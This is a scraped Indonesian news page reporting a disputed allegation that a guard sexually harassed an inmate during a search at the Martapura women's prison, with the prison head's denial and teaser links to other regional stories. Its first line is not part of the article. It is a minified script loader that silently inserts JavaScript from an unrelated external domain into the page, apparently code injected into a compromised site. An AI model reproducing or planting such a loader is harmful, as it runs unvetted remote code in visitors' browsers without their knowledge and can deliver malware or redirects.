(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Seorang oknum sipir diduga melakukan tindakan pelecehan seksual terhadap salah satu warga binaan Lembaga Permasyarakatan (Lapas) Perempuan Kelas IIA Martapura. Diduga, tindakan asusila itu dilakukan oleh salah satu oknum sipir terhadap warga binaan kasus Narkoba yang menjalani hukuman selama 4 tahun penjara.
Perbuatan tak senonoh oknum sipir itu dilakukan saat warga binaan itu kedapatan melakukan transaksi jual beli rokok oleh penjaga bagian umum. Saat itu juga warga binaan itu langsung diamankan ke salah satu ruangan. Nah, di ruangan itu warga binaan itu digeledah, tidak cuma menggeledah, oknum sipir diduga meraba bagian vital warga binaan itu.
Kabar tentang tindakan asusila ini tersebar ketika korban mengirimkan surat ke sejumlah instansi, diantaranya Ombudsman dan Polda Kalsel.
Terkait adanya dugaan tindak asusila oknum sipir itu, Kepala Lapas Perempuan Kelas II A Martapura Yunengsih membantah keras adanya tindakan asusila yang dilakukan oleh sipir terhadap warga binaan Lapas.
Namun, Kalapas Perempuan Kelas IIA Martapura mengakui adanya temuan bahwa warga binaan itu kedapatan melakukan transaksi jual beli rokok.
“Tidak terjadi itu, salah paham saja, dan kejadian itu juga bukan di ruangan tahanan melainkan di area kantor Lembaga. Warga binaan itu kedapatan menjual rokok di sini, oleh petugas diamankan. Namun tidak sampai pelecehan seperti itu. Bahkan dari keterangan saksi juga tidak ada,†ujar Yunengsih.
Terkait dengan adanya surat yang beredar, Yunengsih sangat menyayangkan akan hal itu dan ia menganggap banyak kejanggalan di surat itu.
“Jadi, warga binaan itu merasa terpojok dengan temuan petugas, dan bikin alasan saja. Kalau surat itu sangat disayangkan dan banyak kejanggalan di sana. Begini, orang yang sedang berada di tahanan khusus itu tidak diperbolehkan dijenguk oleh keluarga selama batas waktu yang ditentukan,†ungkapnya.
Dan diketahui setelah warga binaan itu kedapatan bertransaksi rokok, pihak Lapas memberikan sanksi terhadapnya dengan menempatkan di salah satu ruang tahanan khusus dan tidak bisa ditemui siapapun termasuk keluarga. (hendera)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.